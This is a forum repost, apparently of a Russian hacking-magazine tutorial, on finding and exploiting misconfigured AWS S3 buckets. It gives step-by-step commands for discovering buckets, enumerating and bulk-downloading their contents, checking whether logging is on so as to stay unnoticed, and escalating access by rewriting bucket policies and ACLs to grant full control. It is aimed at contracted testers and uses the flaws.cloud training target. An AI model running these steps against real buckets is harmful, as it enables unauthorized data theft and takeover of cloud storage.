![]() |
|
[Определение часового пояса]
[ Регистрация ]
|
|
|
Опции темы |
|
||||
![]() |
#1 | |||
Админ
|
Проверка ведер. Как искать уязвимости в бакетах AWS S3
Хранилище Amazon S3, хоть и содержит статические данные, может открывать большие возможности при пентесте. Неправильно выставленные разрешения позволяют хакерам выискивать в S3 чувствительные данные, которые дадут путь для дальнейшего продвижения. В этой статье мы посмотрим, как могут выглядеть мисконфиги S3 и как их эксплуатировать.
WARNING Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону. ТЕОРИЯ У бакетов есть возможность контроля доступа: объекты могут быть общедоступными либо приватными. Доступ к приватным бывает как только для чтения, так и с возможностью записи. ![]() Как выглядит S3Внутри S3 есть два типа данных: Bucket — контейнер для объектов и Object — сам файл. Самые частые способы взаимодействия:
http(s)://{имя бакета}.s3.{регион}.amazonaws.com Здесь {имя} определяется владельцем бакета, например: https://xakeprufiles.s3.us-west-2.amazonaws.com Бакеты S3 можно обнаружить разными способами, например найти URL в исходном коде страницы веб‑сайта, в репозиториях GitHub или даже автоматизировать процесс с помощью готовых утилит. Для перебора можно использовать название компании, за которым следуют общие термины. Например, xakepru-assets, xakepru-www, xakepru-public, xakepru-private и так далее. Также к бакету или объекту может быть привязана политика безопасности. ![]() Политики бакетаС помощью политик можно указать, кто имеет доступ к ресурсу и какие действия может выполнять с ним. Есть четыре варианта:
ПОИСК БАКЕТОВ Начать стоит с сервиса greyhatwarfare.com. Он позволяет находить бакеты и объекты в них с помощью ключевых слов. ![]() Обнаружение бакетовЕсли толком ничего не находится, то идем на сайт компании. Здесь нам поможет Burp Suite. Просто просматривай веб‑сайт, а затем анализируй полученную карту. При этом бакеты всегда находятся на следующих URL: http://s3.[region].amazonaws.com/[bucket_name]/ http://[bucket_name].s3.[region].amazonaws.com/ http://s3-website-[region].amazonaws.com/[bucket_name] http://[bucket_name].s3-website-[region].amazonaws.com http://[bucketname].s3.dualstack.[region].amazonaws.com http://s3.dualstack.[region].amazonaws.com/[bucketname] Нужно ли нам подбирать правильный регион? Нет! Amazon любезно подскажет, что мы ищем где‑то не там. Поэтому нам достаточно лишь названия бакета. ![]() Неверный регионНо как получить это название? Чаще всего оно скрывается в записях CNAME (в них сопоставлены псевдонимы с исходными DNS-именами) домена атакуемой компании. Обнаружить их можно вот так: dig <domain> any Пример: dig flaws.cloud any ![]() Смотрим DNSДа, может быть, CNAME и пуст, но посмотрим, что еще есть на этом IP: nslookup <ip> Пример: nslookup 52.218.192.11 ![]() Обратный поискИ получим, что к IP привязан еще и адрес s3-website-us-west-2.amazonaws.com. Это так называемый Website Endpoint. Эндпойнты используются, когда с бакетом интегрирован простенький статический веб‑сайт. Все бакеты S3, настроенные для веб‑хостинга, получают домен AWS, который можно использовать без собственного DNS. То есть имя бакета в данном случае совпадает с именем домена, а именно flaws.cloud. Конечно же, каждый домен перебирать вручную проблематично. Ускорит дело простенький скрипт на Bash: while read p; do echo $p, curl --silent -I -i http://$p | grep AmazonS3 done < subdomains.txt ![]() Перебор доменовОбрати внимание, что не все домены зарегистрированы как записи CNAME. Некоторые могут не отображаться явно в процессе разрешения имен. В таком случае удобно использовать сайт dnscharts.hacklikeapornstar.com. Сюда можно загрузить список доменов, а сервис уже самостоятельно найдет записи и по возможности сопоставит их с облачными сервисами. ![]() Визуализация всех записейЕсли ты не знаешь, как находить поддомены, то рекомендую утилиту Amass в связке с новой техникой перечисления доменов. На небольших таргетах одного инструмента будет достаточно: amass enum -d <атакуемый домен> -passive -o res.txt Пассивное сканирование найдет много лишнего, поэтому можно использовать активное: amass enum -d <атакуемый домен> -active -o res.txt ![]() Найденные поддоменыНо если все еще мало, то загружай домены в Regulator: python3 main.py <атакуемый домен> <файл с доменами> <output-file> Пример: python3 main.py flaws.cloud res.txt flaws.rules И генерируй список доменов с помощью полученных правил: make_brute_list.sh flaws.rules flaws.brute Итоговый список можно начинать проверять на валидность: puredns resolve flaws.brute --write flaws.valid Наконец, если никак не получается обнаружить имя бакета, то можно попробовать его сбрутить. Для этого существует куча инструментов:
Когда ты обнаружил максимальное число бакетов, пора переходить к перечислению их содержимого. С этим отлично справляется AWS CLI: aws configure Дальше вводим данные любой действительной учетной записи AWS. Существует флаг --no-sign-request, который позволяет получать анонимный доступ, но я рекомендую все‑таки вводить хоть какие‑нибудь учетные данные. Иногда бывает, что от анонима ничего не найти, но разведка от лица какого‑нибудь пользователя раскрывает интересную информацию. Подчеркиваю: требуется ввести данные любой учетной записи AWS. Абсолютно любой. Предлагаю начать с получения полного списка объектов в бакете: aws aws s3 ls s3://<имя бакета> --recursive Либо: aws s3api list-objects-v2 --bucket <имя бакета> Пример: aws s3 ls s3://flaws.cloud --recursive aws s3api list-objects-v2 --bucket flaws.cloud ![]() Изучение объектов бакетаЕсли объектов очень много, то можно покопаться в них с помощью стандартных регулярок. # Извлечение имен файлов из параметра Key (имя файла) grep '"Key"' object.txt | sed 's/[",]//g' > list_keys.txt # Указываем интересующие нас расширения patterns='\.sh$|\.sql$|\.tar\.gz$\.properties$|\.c onfig$|\.tgz$\.conf$|\.zip$|\.7z$|\.rar$|\.txt$|\. ps1$|\.bat$|\.word$|\.xlsx$|\.xls$|\.pdf$' # Находим файлы, соответствующие шаблону egrep $patterns list_keys.txt Когда список возможных объектов получен, можно скачать их вот так: aws s3api get-object --bucket <bucket-name> --key <имя файла> <download-file-location> Например: aws s3api get-object --bucket flaws.cloud --key aws.txt C:\Users\User\Desktop\downloaded.txt Также можно скачать бакет целиком: aws s3 sync s3://<bucket>/ . Очень много бакетов содержат репозитории на GitHub. Если такой найдется, обязательно попытайся достать интересную информацию с помощью Gitleaks или TruffleHog. РАЗВЕДКА ИЗ ОБЛАКА Не стоит забывать про бакеты, даже если у нас уже есть доступ в AWS. Ведь именно в бакетах постоянно встречаются файлы конфигурации, кукбуки, скрипты, необработанные данные, а иногда даже бэкапы баз данных. AWS CLI Начинаем всегда с перечисления доступных бакетов: aws s3api list-buckets ![]() Поиск бакетовТеперь можем изучить все ACL, настроенные на бакет: aws s3api get-bucket-acl --bucket <bucket-name> Например: aws s3api get-bucket-acl --bucket buckettest ![]() Просмотр ACLНесложно догадаться, что Grantee — объект, которому выдаются права. Настоящий хакер должен быть незаметным, как ниндзя. Поэтому обязательно проверяй, ведутся ли логи у атакуемого бакета: aws s3api get-bucket-logging --bucket <имя бакета> Например: aws s3api get-bucket-logging --bucket buckettest Если логирования нет, вывода не будет. ![]() Отсутствие логированияЕсли же логирование присутствует, AWS CLI уведомит нас об этом. ![]() Логирование существуетВ данном случае все логи доступа к бакету buckettestlogging будут лежать в бакете xakepru. Обязательно посмотри и политику, привязанную к бакету: aws s3api get-public-access-block --bucket <bucket-name> Например: aws s3api get-public-access-block --bucket buckettest ![]() Изучаем политики, привязанные к бакетуПолитики бывают следующие:
aws s3api list-objects-v2 --bucket <bucket name> Пример: aws s3api list-objects-v2 --bucket xakepru ![]() Список объектовТакже ты можешь получить информацию об ACL конкретного объекта: aws s3api get-object-acl --bucket <bucket-name> --key <object-name> Пример: aws s3api get-object-acl --bucket xakepru --key aws.txt aws s3api get-object-acl --bucket xakepru --key folder1/aws.txt Эксфильтрация Чтобы достать данные из бакета, нам требуется доступ на чтение (READ). ![]() Способы получения доступа к объектамДавай повторим пройденное. Как ты уже понял, самый частый мисконфиг — всем пользователям предоставляются права на чтение. В таком случае мы можем найти адрес бакета и прочитать его содержимое даже без аутентификации. Также бывает, что права на чтение есть лишь у авторизованных пользователей либо у одного конкретного пользователя. В таком случае мы сможем получить доступ к содержимому через API или CLI. Наконец, доступ к бакету можно получить, используя специально сгенерированную временную ссылку. Полезно также смотреть размеры бакета и опись содержимого: aws s3api list-objects --bucket <имя бакета> --output json --query "[sum(Contents[].Size), length(Contents[])]" Пример: aws s3api list-objects --bucket flaws.cloud --output json --query "[sum(Contents[].Size), length(Contents[])]" ![]() Размеры бакетаКак скачивать отдельный объект с помощью get-object либо весь бакет с помощью sync, мы уже разобрали. Теперь обратим внимание на временную ссылку для скачивания объектов. Любой, кто имеет валидные учетные данные и доступ к бакету, может создать ее: aws s3 presign s3://<Bucket-Name>/<key-Object-Name> --expires-in <время в секундах> Пример: aws s3 presign s3://xakepru/Xakep001.pdf --expires-in 604800 ![]() Получение временной ссылки на скачивание объектаПОВЫШЕНИЕ ПРИВИЛЕГИЙ К бакету могут быть привязаны политики, ACL, поэтому, имея определенные права, можем сделать, например, бакет общедоступным. Изменение политики бакета Для эксплуатации требуется наличие s3:PutBucketPolicy. С этой привилегией сможем предоставить больше разрешений на бакеты, например разрешим себе читать, записывать, изменять и удалять бакеты: aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <имя бакета> Сама политика может выглядеть вот так: { "Id": "Policy1568185116930", "Version": "2012-10-17", "Statement": [ { "Sid": "Stmt1568184932403", "Action": [ "s3:" ], "Effect": "Allow", "Resource": "arn:aws:s3:::<имя бакета>", "Principal": "" } } Изменение ACL бакета Нам нужно s3:PutBucketAcl. Благодаря такой привилегии сможем изменить ACL, привязанный к бакету: aws s3api put-bucket-acl --bucket <имя бакета> --access-control-policy file://acl.json Пример политики: { "Owner": { "DisplayName": "<Кого ты хочешь сделать владельцем>", "ID": "<ID>" }, "Grants": [ { "Grantee": { "Type": "Group", "URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" }, "Permission": "FULL_CONTROL" } ] } Изменение ACL объекта Для этого потребуется s3:PutObjectAcl. Может быть так, что ACL на бакет изменить мы не сможем, но вот ACL на определенный объект в состоянии. Эксплуатируем: aws s3api put-object-acl --bucket <имя бакета> --key <объект> --access-control-policy file://objacl.json Политика может быть вот такой: { "Owner": { "DisplayName": "<Кого ты хочешь сделать владельцем>", "ID": "<ID>" }, "Grants": [ { "Grantee": { "Type": "Group", "URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" }, "Permission": "FULL_CONTROL" } ] } ВЫВОДЫ Казалось бы, S3 — не более чем сервис хранения данных. Но, как ты смог убедиться, даже обычное файлохранилище может быть уязвимым само и открывать другие уязвимости. Любая возможность расширить поверхность атаки важна при пентестах, и плохо настроенные бакеты могут в этом плане сослужить отличную службу |
|||
![]() |